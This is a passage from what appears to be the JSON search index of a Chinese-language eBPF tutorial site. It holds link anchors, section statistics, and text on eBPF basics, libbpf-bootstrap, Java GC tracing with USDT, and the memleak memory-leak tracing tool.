er","bcc-documents/reference_guide.html#4-values","bcc-documents/reference_guide.html#5-clear","bcc-documents/reference_guide.html#6-items_lookup_and_delete_batch","bcc-documents/reference_guide.html#7-items_lookup_batch","bcc-documents/reference_guide.html#8-items_delete_batch","bcc-documents/reference_guide.html#9-items_update_batch","bcc-documents/reference_guide.html#11-print_linear_hist语法-tableprint_linear_histval_typevalue-section_headerbucket-ptr-section_print_fnnone","bcc-documents/reference_guide.html#12-open_ring_buffer","bcc-documents/reference_guide.html#13-push","bcc-documents/reference_guide.html#14-pop","bcc-documents/reference_guide.html#15-peek","bcc-documents/reference_guide.html#辅助方法","bcc-documents/reference_guide.html#1-ksym","bcc-documents/reference_guide.html#2-ksymname","bcc-documents/reference_guide.html#3-sym","bcc-documents/reference_guide.html#4-num_open_kprobes","bcc-documents/reference_guide.html#5-get_syscall_fnname","bcc-documents/reference_guide.html#bpf-错误","bcc-documents/reference_guide.html#1-invalid-mem-access","bcc-documents/reference_guide.html#2-无法从专有程序调用-gpl-only-函数","bcc-documents/reference_guide.html#环境变量","bcc-documents/reference_guide.html#1-内核源代码目录","bcc-documents/reference_guide.html#2-内核版本覆盖","bcc-documents/special_filtering.html#特殊过滤","bcc-documents/special_filtering.html#按-cgroups过滤","bcc-documents/special_filtering.html#按命名空间选择挂载点进行过滤","bcc-documents/tutorial.html#bcc-教程","bcc-documents/tutorial.html#可观察性","bcc-documents/tutorial.html#0-使用bcc之前","bcc-documents/tutorial.html#1-性能分析","bcc-documents/tutorial.html#2-使用通用工具进行可观察性","bcc-documents/tutorial.html#网络","bcc-documents/tutorial_bcc_python_developer.html#bcc-python-开发者教程","bcc-documents/tutorial_bcc_python_developer.html#可观测性","bcc-documents/tutorial_bcc_python_developer.html#第1课-你好世界","bcc-documents/tutorial_bcc_python_developer.html#第二课-sys_sync","bcc-documents/tutorial_bcc_python_developer.html#第三课-hello_fieldspy","bcc-documents/tutorial_bcc_python_developer.html#lesson-4-sync_timingpy","bcc-documents/tutorial_bcc_python_developer.html#第5课-sync_countpy","bcc-documents/tutorial_bcc_python_developer.html#第6课-disksnooppy","bcc-documents/tutorial_bcc_python_developer.html#lesson-7-hello_perf_outputpy","bcc-documents/tutorial_bcc_python_developer.html#第八课-sync_perf_outputpy","bcc-documents/tutorial_bcc_python_developer.html#第九课-bitehistpy","bcc-documents/tutorial_bcc_python_developer.html#lesson-10-disklatencypy-lesson-11-vfsreadlatpy","bcc-documents/tutorial_bcc_python_developer.html#lesson-12-urandomreadpy","bcc-documents/tutorial_bcc_python_developer.html#第13课-disksnooppy已修复","bcc-documents/tutorial_bcc_python_developer.html#第14课-strlen_countpy","bcc-documents/tutorial_bcc_python_developer.html#第15课nodejs_http_serverpy","bcc-documents/tutorial_bcc_python_developer.html#第16课-task_switchc","bcc-documents/tutorial_bcc_python_developer.html#第17课-进一步研究","bcc-documents/tutorial_bcc_python_developer.html#网络"],"index":{"documentStore":{"docInfo":{"0":{"body":0,"breadcrumbs":3,"title":2},"1":{"body":4,"breadcrumbs":3,"title":2},"10":{"body":10,"breadcrumbs":2,"title":1},"100":{"body":17,"breadcrumbs":3,"title":0},"101":{"body":4,"breadcrumbs":5,"title":3},"102":{"body":2,"breadcrumbs":2,"title":0},"103":{"body":5,"breadcrumbs":2,"title":0},"104":{"body":48,"breadcrumbs":3,"title":1},"105":{"body":12,"breadcrumbs":3,"title":1},"106":{"body":0,"breadcrumbs":3,"title":1},"107":{"body":564,"breadcrumbs":4,"title":2},"108":{"body":88,"breadcrumbs":2,"title":0},"109":{"body":61,"breadcrumbs":2,"title":0},"11":{"body":50,"breadcrumbs":3,"title":2},"110":{"body":19,"breadcrumbs":2,"title":0},"111":{"body":5,"breadcrumbs":6,"title":3},"112":{"body":22,"breadcrumbs":4,"title":1},"113":{"body":80,"breadcrumbs":4,"title":1},"114":{"body":287,"breadcrumbs":5,"title":2},"115":{"body":154,"breadcrumbs":3,"title":0},"116":{"body":23,"breadcrumbs":3,"title":0},"117":{"body":4,"breadcrumbs":0,"title":0},"118":{"body":9,"breadcrumbs":3,"title":2},"119":{"body":14,"breadcrumbs":1,"title":0},"12":{"body":19,"breadcrumbs":1,"title":0},"120":{"body":24,"breadcrumbs":2,"title":1},"121":{"body":19,"breadcrumbs":3,"title":2},"122":{"body":103,"breadcrumbs":2,"title":1},"123":{"body":122,"breadcrumbs":1,"title":0},"124":{"body":20,"breadcrumbs":1,"title":0},"125":{"body":10,"breadcrumbs":1,"title":0},"126":{"body":0,"breadcrumbs":5,"title":3},"127":{"body":15,"breadcrumbs":2,"title":0},"128":{"body":39,"breadcrumbs":3,"title":1},"129":{"body":112,"breadcrumbs":3,"title":1},"13":{"body":11,"breadcrumbs":6,"title":3},"130":{"body":75,"breadcrumbs":2,"title":0},"131":{"body":15,"breadcrumbs":2,"title":0},"132":{"body":6,"breadcrumbs":2,"title":0},"133":{"body":13,"breadcrumbs":4,"title":2},"134":{"body":60,"breadcrumbs":2,"title":0},"135":{"body":19,"breadcrumbs":2,"title":0},"136":{"body":76,"breadcrumbs":2,"title":0},"137":{"body":10,"breadcrumbs":2,"title":0},"138":{"body":2,"breadcrumbs":2,"title":0},"139":{"body":440,"breadcrumbs":2,"title":0},"14":{"body":0,"breadcrumbs":4,"title":1},"140":{"body":45,"breadcrumbs":2,"title":0},"141":{"body":35,"breadcrumbs":2,"title":0},"142":{"body":5,"breadcrumbs":2,"title":0},"143":{"body":1,"breadcrumbs":3,"title":1},"144":{"body":0,"breadcrumbs":3,"title":2},"145":{"body":21,"breadcrumbs":3,"title":2},"146":{"body":1,"breadcrumbs":1,"title":0},"147":{"body":23,"breadcrumbs":2,"title":1},"148":{"body":51,"breadcrumbs":2,"title":1},"149":{"body":4,"breadcrumbs":2,"title":1},"15":{"body":28,"breadcrumbs":3,"title":0},"150":{"body":9,"breadcrumbs":2,"title":1},"151":{"body":49,"breadcrumbs":1,"title":0},"152":{"body":2,"breadcrumbs":2,"title":1},"153":{"body":3,"breadcrumbs":1,"title":0},"154":{"body":4,"breadcrumbs":3,"title":2},"155":{"body":12,"breadcrumbs":1,"title":0},"156":{"body":661,"breadcrumbs":2,"title":1},"157":{"body":145,"breadcrumbs":2,"title":1},"158":{"body":178,"breadcrumbs":2,"title":1},"159":{"body":10,"breadcrumbs":1,"title":0},"16":{"body":65,"breadcrumbs":5,"title":2},"160":{"body":9,"breadcrumbs":3,"title":2},"161":{"body":4,"breadcrumbs":1,"title":0},"162":{"body":5,"breadcrumbs":1,"title":0},"163":{"body":8,"breadcrumbs":1,"title":0},"164":{"body":5,"breadcrumbs":1,"title":0},"165":{"body":0,"breadcrumbs":1,"title":0},"166":{"body":22,"breadcrumbs":3,"title":2},"167":{"body":134,"breadcrumbs":4,"title":3},"168":{"body":44,"breadcrumbs":1,"title":0},"169":{"body":7,"breadcrumbs":1,"title":0},"17":{"body":152,"breadcrumbs":8,"title":5},"170":{"body":4,"breadcrumbs":1,"title":0},"171":{"body":17,"breadcrumbs":4,"title":2},"172":{"body":2,"breadcrumbs":2,"title":0},"173":{"body":35,"breadcrumbs":2,"title":1},"174":{"body":2,"breadcrumbs":1,"title":0},"175":{"body":3,"breadcrumbs":5,"title":2},"176":{"body":28,"breadcrumbs":4,"title":1},"177":{"body":34,"breadcrumbs":3,"title":0},"178":{"body":4,"breadcrumbs":3,"title":0},"179":{"body":2,"breadcrumbs":5,"title":3},"18":{"body":17,"breadcrumbs":4,"title":1},"180":{"body":0,"breadcrumbs":2,"title":0},"181":{"body":12,"breadcrumbs":4,"title":2},"182":{"body":9,"breadcrumbs":3,"title":1},"183":{"body":6,"breadcrumbs":4,"title":2},"184":{"body":3,"breadcrumbs":2,"title":0},"185":{"body":6,"breadcrumbs":4,"title":2},"186":{"body":26,"breadcrumbs":4,"title":2},"187":{"body":28,"breadcrumbs":4,"title":2},"188":{"body":8,"breadcrumbs":3,"title":1},"189":{"body":35,"breadcrumbs":2,"title":0},"19":{"body":5,"breadcrumbs":4,"title":1},"190":{"body":166,"breadcrumbs":3,"title":1},"191":{"body":174,"breadcrumbs":3,"title":1},"192":{"body":0,"breadcrumbs":2,"title":0},"193":{"body":3,"breadcrumbs":2,"title":0},"194":{"body":42,"breadcrumbs":3,"title":1},"195":{"body":213,"breadcrumbs":3,"title":1},"196":{"body":2,"breadcrumbs":2,"title":0},"197":{"body":3,"breadcrumbs":3,"title":1},"198":{"body":13,"breadcrumbs":3,"title":1},"199":{"body":20,"breadcrumbs":3,"title":1},"2":{"body":40,"breadcrumbs":3,"title":2},"20":{"body":43,"breadcrumbs":5,"title":2},"200":{"body":37,"breadcrumbs":2,"title":0},"201":{"body":14,"breadcrumbs":3,"title":1},"202":{"body":14,"breadcrumbs":2,"title":0},"203":{"body":0,"breadcrumbs":7,"title":2},"204":{"body":2,"breadcrumbs":6,"title":1},"205":{"body":48,"breadcrumbs":6,"title":1},"206":{"body":164,"breadcrumbs":5,"title":0},"207":{"body":225,"breadcrumbs":5,"title":0},"208":{"body":0,"breadcrumbs":9,"title":4},"209":{"body":163,"breadcrumbs":6,"title":1},"21":{"body":41,"breadcrumbs":3,"title":0},"210":{"body":81,"breadcrumbs":8,"title":3},"211":{"body":962,"breadcrumbs":6,"title":1},"212":{"body":145,"breadcrumbs":5,"title":0},"213":{"body":0,"breadcrumbs":5,"title":1},"214":{"body":100,"breadcrumbs":5,"title":1},"215":{"body":4,"breadcrumbs":4,"title":1},"216":{"body":238,"breadcrumbs":3,"title":0},"217":{"body":2,"breadcrumbs":5,"title":2},"218":{"body":0,"breadcrumbs":5,"title":2},"219":{"body":34,"breadcrumbs":5,"title":2},"22":{"body":14,"breadcrumbs":6,"title":4},"220":{"body":16,"breadcrumbs":5,"title":2},"221":{"body":34,"breadcrumbs":5,"title":2},"222":{"body":39,"breadcrumbs":5,"title":2},"223":{"body":23,"breadcrumbs":5,"title":2},"224":{"body":48,"breadcrumbs":4,"title":1},"225":{"body":36,"breadcrumbs":4,"title":1},"226":{"body":20,"breadcrumbs":5,"title":2},"227":{"body":22,"breadcrumbs":5,"title":2},"228":{"body":31,"breadcrumbs":6,"title":3},"229":{"body":36,"breadcrumbs":5,"title":2},"23":{"body":58,"breadcrumbs":3,"title":1},"230":{"body":0,"breadcrumbs":3,"title":0},"231":{"body":10,"breadcrumbs":5,"title":2},"232":{"body":13,"breadcrumbs":5,"title":2},"233":{"body":5,"breadcrumbs":5,"title":2},"234":{"body":9,"breadcrumbs":5,"title":2},"235":{"body":8,"breadcrumbs":5,"title":2},"236":{"body":17,"breadcrumbs":5,"title":2},"237":{"body":22,"breadcrumbs":5,"title":2},"238":{"body":6,"breadcrumbs":5,"title":2},"239":{"body":3,"breadcrumbs":5,"title":2},"24":{"body":221,"breadcrumbs":3,"title":1},"240":{"body":8,"breadcrumbs":5,"title":2},"241":{"body":11,"breadcrumbs":5,"title":2},"242":{"body":18,"breadcrumbs":5,"title":2},"243":{"body":0,"breadcrumbs":3,"title":0},"244":{"body":19,"breadcrumbs":5,"title":2},"245":{"body":0,"breadcrumbs":3,"title":0},"246":{"body":7,"breadcrumbs":5,"title":2},"247":{"body":29,"breadcrumbs":5,"title":2},"248":{"body":13,"breadcrumbs":5,"title":2},"249":{"body":10,"breadcrumbs":5,"title":2},"25":{"body":19,"breadcrumbs":2,"title":0},"250":{"body":16,"breadcrumbs":5,"title":2},"251":{"body":9,"breadcrumbs":5,"title":2},"252":{"body":5,"breadcrumbs":5,"title":2},"253":{"body":7,"breadcrumbs":5,"title":2},"254":{"body":8,"breadcrumbs":5,"title":2},"255":{"body":0,"breadcrumbs":4,"title":1},"256":{"body":17,"breadcrumbs":5,"title":2},"257":{"body":15,"breadcrumbs":5,"title":2},"258":{"body":12,"breadcrumbs":5,"title":2},"259":{"body":15,"breadcrumbs":5,"title":2},"26":{"body":10,"breadcrumbs":6,"title":4},"260":{"body":11,"breadcrumbs":5,"title":2},"261":{"body":16,"breadcrumbs":5,"title":2},"262":{"body":18,"breadcrumbs":5,"title":2},"263":{"body":13,"breadcrumbs":5,"title":2},"264":{"body":18,"breadcrumbs":5,"title":2},"265":{"body":13,"breadcrumbs":5,"title":2},"266":{"body":10,"breadcrumbs":5,"title":2},"267":{"body":13,"breadcrumbs":5,"title":2},"268":{"body":8,"breadcrumbs":5,"title":2},"269":{"body":16,"breadcrumbs":5,"title":2},"27":{"body":198,"breadcrumbs":3,"title":1},"270":{"body":15,"breadcrumbs":5,"title":2},"271":{"body":20,"breadcrumbs":5,"title":2},"272":{"body":20,"breadcrumbs":5,"title":2},"273":{"body":27,"breadcrumbs":5,"title":2},"274":{"body":4,"breadcrumbs":5,"title":2},"275":{"body":5,"breadcrumbs":5,"title":2},"276":{"body":3,"breadcrumbs":5,"title":2},"277":{"body":4,"breadcrumbs":5,"title":2},"278":{"body":4,"breadcrumbs":5,"title":2},"279":{"body":13,"breadcrumbs":5,"title":2},"28":{"body":24,"breadcrumbs":2,"title":0},"280":{"body":12,"breadcrumbs":5,"title":2},"281":{"body":4,"breadcrumbs":5,"title":2},"282":{"body":39,"breadcrumbs":5,"title":2},"283":{"body":52,"breadcrumbs":5,"title":2},"284":{"body":6,"breadcrumbs":5,"title":2},"285":{"body":3,"breadcrumbs":5,"title":2},"286":{"body":4,"breadcrumbs":5,"title":2},"287":{"body":12,"breadcrumbs":5,"title":2},"288":{"body":9,"breadcrumbs":5,"title":2},"289":{"body":65,"breadcrumbs":5,"title":2},"29":{"body":10,"breadcrumbs":4,"title":3},"290":{"body":97,"breadcrumbs":3,"title":0},"291":{"body":0,"breadcrumbs":4,"title":1},"292":{"body":0,"breadcrumbs":5,"title":2},"293":{"body":0,"breadcrumbs":3,"title":0},"294":{"body":74,"breadcrumbs":5,"title":2},"295":{"body":0,"breadcrumbs":3,"title":0},"296":{"body":6,"breadcrumbs":5,"title":2},"297":{"body":7,"breadcrumbs":5,"title":2},"298":{"body":45,"breadcrumbs":5,"title":2},"299":{"body":26,"breadcrumbs":5,"title":2},"3":{"body":1,"breadcrumbs":3,"title":2},"30":{"body":154,"breadcrumbs":2,"title":1},"300":{"body":15,"breadcrumbs":5,"title":2},"301":{"body":13,"breadcrumbs":5,"title":2},"302":{"body":4,"breadcrumbs":5,"title":2},"303":{"body":28,"breadcrumbs":5,"title":2},"304":{"body":45,"breadcrumbs":5,"title":2},"305":{"body":31,"breadcrumbs":5,"title":2},"306":{"body":7,"breadcrumbs":5,"title":2},"307":{"body":7,"breadcrumbs":5,"title":2},"308":{"body":0,"breadcrumbs":3,"title":0},"309":{"body":14,"breadcrumbs":5,"title":2},"31":{"body":106,"breadcrumbs":3,"title":2},"310":{"body":20,"breadcrumbs":5,"title":2},"311":{"body":7,"breadcrumbs":4,"title":1},"312":{"body":13,"breadcrumbs":5,"title":2},"313":{"body":9,"breadcrumbs":5,"title":2},"314":{"body":10,"breadcrumbs":5,"title":2},"315":{"body":0,"breadcrumbs":5,"title":2},"316":{"body":4,"breadcrumbs":5,"title":2},"317":{"body":81,"breadcrumbs":5,"title":2},"318":{"body":1,"breadcrumbs":5,"title":2},"319":{"body":14,"breadcrumbs":5,"title":2},"32":{"body":28,"breadcrumbs":1,"title":0},"320":{"body":24,"breadcrumbs":5,"title":2},"321":{"body":24,"breadcrumbs":5,"title":2},"322":{"body":2,"breadcrumbs":5,"title":2},"323":{"body":62,"breadcrumbs":5,"title":2},"324":{"body":59,"breadcrumbs":9,"title":6},"325":{"body":56,"breadcrumbs":5,"title":2},"326":{"body":3,"breadcrumbs":5,"title":2},"327":{"body":3,"breadcrumbs":5,"title":2},"328":{"body":3,"breadcrumbs":5,"title":2},"329":{"body":0,"breadcrumbs":3,"title":0},"33":{"body":10,"breadcrumbs":8,"title":5},"330":{"body":6,"breadcrumbs":5,"title":2},"331":{"body":6,"breadcrumbs":5,"title":2},"332":{"body":9,"breadcrumbs":5,"title":2},"333":{"body":10,"breadcrumbs":5,"title":2},"334":{"body":9,"breadcrumbs":5,"title":2},"335":{"body":5,"breadcrumbs":4,"title":1},"336":{"body":71,"breadcrumbs":7,"title":4},"337":{"body":25,"breadcrumbs":5,"title":2},"338":{"body":0,"breadcrumbs":3,"title":0},"339":{"body":4,"breadcrumbs":4,"title":1},"34":{"body":0,"breadcrumbs":4,"title":1},"340":{"body":11,"breadcrumbs":4,"title":1},"341":{"body":0,"breadcrumbs":2,"title":0},"342":{"body":106,"breadcrumbs":3,"title":1},"343":{"body":75,"breadcrumbs":2,"title":0},"344":{"body":5,"breadcrumbs":3,"title":1},"345":{"body":0,"breadcrumbs":2,"title":0},"346":{"body":30,"breadcrumbs":4,"title":2},"347":{"body":530,"breadcrumbs":3,"title":1},"348":{"body":278,"breadcrumbs":3,"title":1},"349":{"body":0,"breadcrumbs":2,"title":0},"35":{"body":204,"breadcrumbs":6,"title":3},"350":{"body":6,"breadcrumbs":6,"title":2},"351":{"body":1,"breadcrumbs":4,"title":0},"352":{"body":55,"breadcrumbs":5,"title":1},"353":{"body":11,"breadcrumbs":5,"title":1},"354":{"body":63,"breadcrumbs":5,"title":1},"355":{"body":87,"breadcrumbs":7,"title":3},"356":{"body":0,"breadcrumbs":6,"title":2},"357":{"body":98,"breadcrumbs":6,"title":2},"358":{"body":125,"breadcrumbs":7,"title":3},"359":{"body":1,"breadcrumbs":5,"title":1},"36":{"body":23,"breadcrumbs":3,"title":0},"360":{"body":92,"breadcrumbs":5,"title":1},"361":{"body":104,"breadcrumbs":10,"title":6},"362":{"body":158,"breadcrumbs":7,"title":3},"363":{"body":3,"breadcrumbs":6,"title":2},"364":{"body":126,"breadcrumbs":6,"title":2},"365":{"body":112,"breadcrumbs":5,"title":1},"366":{"body":80,"breadcrumbs":6,"title":2},"367":{"body":10,"breadcrumbs":5,"title":1},"368":{"body":1,"breadcrumbs":4,"title":0},"37":{"body":10,"breadcrumbs":5,"title":3},"38":{"body":256,"breadcrumbs":3,"title":1},"39":{"body":30,"breadcrumbs":2,"title":0},"4":{"body":27,"breadcrumbs":4,"title":3},"40":{"body":16,"breadcrumbs":7,"title":4},"41":{"body":4,"breadcrumbs":5,"title":2},"42":{"body":187,"breadcrumbs":4,"title":1},"43":{"body":28,"breadcrumbs":3,"title":0},"44":{"body":9,"breadcrumbs":8,"title":5},"45":{"body":8,"breadcrumbs":5,"title":2},"46":{"body":14,"breadcrumbs":8,"title":5},"47":{"body":195,"breadcrumbs":4,"title":1},"48":{"body":99,"breadcrumbs":5,"title":2},"49":{"body":19,"breadcrumbs":3,"title":0},"5":{"body":31,"breadcrumbs":4,"title":3},"50":{"body":12,"breadcrumbs":4,"title":1},"51":{"body":85,"breadcrumbs":4,"title":1},"52":{"body":0,"breadcrumbs":4,"title":1},"53":{"body":495,"breadcrumbs":4,"title":1},"54":{"body":26,"breadcrumbs":4,"title":1},"55":{"body":225,"breadcrumbs":3,"title":0},"56":{"body":17,"breadcrumbs":3,"title":0},"57":{"body":17,"breadcrumbs":6,"title":4},"58":{"body":2,"breadcrumbs":4,"title":2},"59":{"body":25,"breadcrumbs":2,"title":0},"6":{"body":11,"breadcrumbs":3,"title":2},"60":{"body":348,"breadcrumbs":3,"title":1},"61":{"body":27,"breadcrumbs":2,"title":0},"62":{"body":21,"breadcrumbs":2,"title":0},"63":{"body":9,"breadcrumbs":8,"title":5},"64":{"body":35,"breadcrumbs":4,"title":1},"65":{"body":19,"breadcrumbs":4,"title":1},"66":{"body":6,"breadcrumbs":4,"title":1},"67":{"body":565,"breadcrumbs":5,"title":2},"68":{"body":574,"breadcrumbs":4,"title":1},"69":{"body":24,"breadcrumbs":3,"title":0},"7":{"body":9,"breadcrumbs":2,"title":1},"70":{"body":77,"breadcrumbs":3,"title":0},"71":{"body":8,"breadcrumbs":3,"title":0},"72":{"body":11,"breadcrumbs":6,"title":3},"73":{"body":13,"breadcrumbs":3,"title":0},"74":{"body":4,"breadcrumbs":4,"title":1},"75":{"body":21,"breadcrumbs":4,"title":1},"76":{"body":51,"breadcrumbs":5,"title":2},"77":{"body":322,"breadcrumbs":4,"title":1},"78":{"body":385,"breadcrumbs":3,"title":0},"79":{"body":169,"breadcrumbs":3,"title":0},"8":{"body":6,"breadcrumbs":2,"title":1},"80":{"body":53,"breadcrumbs":3,"title":0},"81":{"body":22,"breadcrumbs":3,"title":0},"82":{"body":12,"breadcrumbs":9,"title":4},"83":{"body":80,"breadcrumbs":7,"title":2},"84":{"body":189,"breadcrumbs":6,"title":1},"85":{"body":10,"breadcrumbs":7,"title":2},"86":{"body":12,"breadcrumbs":6,"title":1},"87":{"body":131,"breadcrumbs":5,"title":0},"88":{"body":179,"breadcrumbs":6,"title":1},"89":{"body":342,"breadcrumbs":5,"title":0},"9":{"body":6,"breadcrumbs":4,"title":3},"90":{"body":17,"breadcrumbs":5,"title":0},"91":{"body":10,"breadcrumbs":7,"title":4},"92":{"body":5,"breadcrumbs":4,"title":1},"93":{"body":165,"breadcrumbs":4,"title":1},"94":{"body":10,"breadcrumbs":5,"title":2},"95":{"body":3,"breadcrumbs":4,"title":1},"96":{"body":182,"breadcrumbs":3,"title":0},"97":{"body":200,"breadcrumbs":3,"title":0},"98":{"body":24,"breadcrumbs":3,"title":0},"99":{"body":51,"breadcrumbs":3,"title":0}},"docs":{"0":{"body":"","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF 入门开发实践教程零:介绍 eBPF 的基本概念、常见的开发工具","id":"0","title":"eBPF 入门开发实践教程零:介绍 eBPF 的基本概念、常见的开发工具"},"1":{"body":"eBPF 是一项革命性的技术,起源于 Linux 内核,可以在操作系统的内核中运行沙盒程序。它被用来安全和有效地扩展内核的功能,而不需要改变内核的源代码或加载内核模块。eBPF 通过允许在操作系统内运行沙盒程序,应用程序开发人员可以在运行时,可编程地向操作系统动态添加额外的功能。然后,操作系统保证安全和执行效率,就像在即时编译(JIT)编译器和验证引擎的帮助下进行本地编译一样。eBPF 程序在内核版本之间是可移植的,并且可以自动更新,从而避免了工作负载中断和节点重启。 今天,eBPF被广泛用于各类场景:在现代数据中心和云原生环境中,可以提供高性能的网络包处理和负载均衡;以非常低的资源开销,做到对多种细粒度指标的可观测性,帮助应用程序开发人员跟踪应用程序,为性能故障排除提供洞察力;保障应用程序和容器运行时的安全执行,等等。可能性是无穷的,而 eBPF 在操作系统内核中所释放的创新才刚刚开始[3]。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 1. eBPF简介:安全和有效地扩展内核","id":"1","title":"1. eBPF简介:安全和有效地扩展内核"},"10":{"body":"libbpf-bootstrap是一个基于libbpf库的BPF开发脚手架,从其 github 上可以得到其源码。 libbpf-bootstrap综合了BPF社区过去多年的实践,为开发者提了一个现代化的、便捷的工作流,实 现了一次编译,重复使用的目的。 基于libbpf-bootstrap的BPF程序对于源文件有一定的命名规则, 用于生成内核态字节码的bpf文件以.bpf.c结尾,用户态加载字节码的文件以.c结尾,且这两个文件的 前缀必须相同。 基于libbpf-bootstrap的BPF程序在编译时会先将*.bpf.c文件编译为 对应的.o文件,然后根据此文件生成skeleton文件,即*.skel.h,这个文件会包含内核态中定义的一些 数据结构,以及用于装载内核态代码的关键函数。在用户态代码include此文件之后调用对应的装载函数即可将 字节码装载到内核中。同样的,libbpf-bootstrap也有非常完备的入门教程,用户可以在 该处 得到详细的入门操作介绍。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » libbpf","id":"10","title":"libbpf"},"100":{"body":"通过本篇 eBPF 入门实践教程,我们学习了如何使用 eBPF 和 USDT 动态跟踪和分析 Java 的垃圾回收(GC)事件。我们了解了如何在用户态应用程序中设置 USDT 跟踪点,以及如何编写 eBPF 程序来捕获这些跟踪点的信息,从而更深入地理解和优化 Java GC 的行为和性能。 此外,我们也介绍了一些关于 Java GC、USDT 和 eBPF 的基础知识和实践技巧,这些知识和技巧对于想要在网络和系统性能分析领域深入研究的开发者来说是非常有价值的。 如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 USDT 捕获用户态 Java GC 事件耗时 » 总结","id":"100","title":"总结"},"101":{"body":"eBPF(扩展的伯克利数据包过滤器)是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。 在本篇教程中,我们将探讨如何使用 eBPF 编写 Memleak 程序,以监控程序的内存泄漏。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » eBPF 入门实践教程十六:编写 eBPF 程序 Memleak 监控内存泄漏","id":"101","title":"eBPF 入门实践教程十六:编写 eBPF 程序 Memleak 监控内存泄漏"},"102":{"body":"内存泄漏是计算机编程中的一种常见问题,其严重程度不应被低估。内存泄漏发生时,程序会逐渐消耗更多的内存资源,但并未正确释放。随着时间的推移,这种行为会导致系统内存逐渐耗尽,从而显著降低程序及系统的整体性能。 内存泄漏有多种可能的原因。这可能是由于配置错误导致的,例如程序错误地配置了某些资源的动态分配。它也可能是由于软件缺陷或错误的内存管理策略导致的,如在程序执行过程中忘记释放不再需要的内存。此外,如果一个应用程序的内存使用量过大,那么系统性能可能会因页面交换(swapping)而大幅下降,甚至可能导致应用程序被系统强制终止(Linux 的 OOM killer)。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 背景及其重要性","id":"102","title":"背景及其重要性"},"103":{"body":"调试内存泄漏问题是一项复杂且挑战性的任务。这涉及到详细检查应用程序的配置、内存分配和释放情况,通常需要应用专门的工具来帮助诊断。例如,有一些工具可以在应用程序启动时将 malloc() 函数调用与特定的检测工具关联起来,如 Valgrind memcheck,这类工具可以模拟 CPU 来检查所有内存访问,但可能会导致应用程序运行速度大大减慢。另一个选择是使用堆分析器,如 libtcmalloc,它相对较快,但仍可能使应用程序运行速度降低五倍以上。此外,还有一些工具,如 gdb,可以获取应用程序的核心转储并进行后处理以分析内存使用情况。然而,这些工具通常在获取核心转储时需要暂停应用程序,或在应用程序终止后才能调用 free() 函数。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 调试内存泄漏的挑战","id":"103","title":"调试内存泄漏的挑战"},"104":{"body":"在这种背景下,eBPF 的作用就显得尤为重要。eBPF 提供了一种高效的机制来监控和追踪系统级别的事件,包括内存的分配和释放。通过 eBPF,我们可以跟踪内存分配和释放的请求,并收集每次分配的调用堆栈。然后,我们可以分 析这些信息,找出执行了内存分配但未执行释放操作的调用堆栈,这有助于我们找出导致内存泄漏的源头。这种方式的优点在于,它可以实时地在运行的应用程序中进行,而无需暂停应用程序或进行复杂的前后处理。 memleak eBPF 工具可以跟踪并匹配内存分配和释放的请求,并收集每次分配的调用堆栈。随后,memleak 可以打印一个总结,表明哪些调用堆栈执行了分配,但是并没有随后进行释放。例如,我们运行命令: # ./memleak -p $(pidof allocs)\nAttaching to pid 5193, Ctrl+C to quit.\n[11:16:33] Top 2 stacks with outstanding allocations: 80 bytes in 5 allocations from stack main+0x6d [allocs] __libc_start_main+0xf0 [libc-2.21.so] [11:16:34] Top 2 stacks with outstanding allocations: 160 bytes in 10 allocations from stack main+0x6d [allocs] __libc_start_main+0xf0 [libc-2.21.so] 运行这个命令后,我们可以看到分配但未释放的内存来自于哪些堆栈,并且可以看到这些未释放的内存的大小和数量。 随着时间的推移,很显然,allocs 进程的 main 函数正在泄漏内存,每次泄漏 16 字节。幸运的是,我们不需要检查每个分配,我们得到了一个很好的总结,告诉我们哪个堆栈负责大量的泄漏。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » eBPF 的作用","id":"104","title":"eBPF 的作用"},"105":{"body":"在基本层面上,memleak 的工作方式类似于在内存分配和释放路径上安装监控设备。它通过在内存分配和释放函数中插入 eBPF 程序来达到这个目标。这意味着,当这些函数被调用时,memleak 就会记录一些重要信息,如调用者的进程 ID(PID)、分配的内存地址以及分配的内存大小等。当释放内存的函数被调用时,memleak 则会在其内部的映射表(map)中删除相应的内存分配记录。这种机制使得 memleak 能够准确地追踪到哪些内存块已被分配但未被释放。 对于用户态的常用内存分配函数,如 malloc 和 calloc 等,memleak 利用了用户态探测(uprobe)技术来实现监控。uprobe 是一种用于用户空间应用程序的动态追踪技术,它可以在运行时不修改二进制文件的情况下在任意位置设置断点,从而实现对特定函数调用的追踪。 对于内核态的内存分配函数,如 kmalloc 等,memleak 则选择使用了 tracepoint 来实现监控。Tracepoint 是一种在 Linux 内核中提供的动态追踪技术,它可以在内核运行时动态地追踪特定的事件,而无需重新编译内核或加载内核模块。","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » memleak 的实现原理","id":"105","title":"memleak 的实现原理"},"106":{"body":"","breadcrumbs":"编写 eBPF 程序 Memleak 监控内存泄漏 » 内核态 eBPF 程序实现","id":"106","title":"内核态 eBPF 程序实现"},"107":{"body":"memleak 的内核态 eBPF 程序包含一些用于跟踪内存分配和释放的关键函数。在我们深入了解这些函数之前,让我们首先观察 memleak 所定义的一些数据结构,这些结构在其内核态和用户态程序中均有使用。 #ifndef __MEMLEAK_H\n#define __MEMLEAK_H #define ALLOCS_MAX_ENTRIES 1000000\n#define COMBINED_ALLOCS_MAX_ENTRIES 10240 struct alloc_info { __u64 size; // 分配的内存大小 __u64 timestamp_ns; // 分配时的时间戳,单位为纳秒 int stack_id; // 分配时的调用堆栈ID\n}; union combined_alloc_info { struct { __u64 total_size : 40; // 所有未释放分配的总大小 __u64 number_of_allocs : 24; // 所有未释放分配的总次数 }; __u64 bits; // 结构的位图表示\n}; #endif /* __MEMLEAK_H */ 这里定义了两个主要的数据结构:alloc_info 和 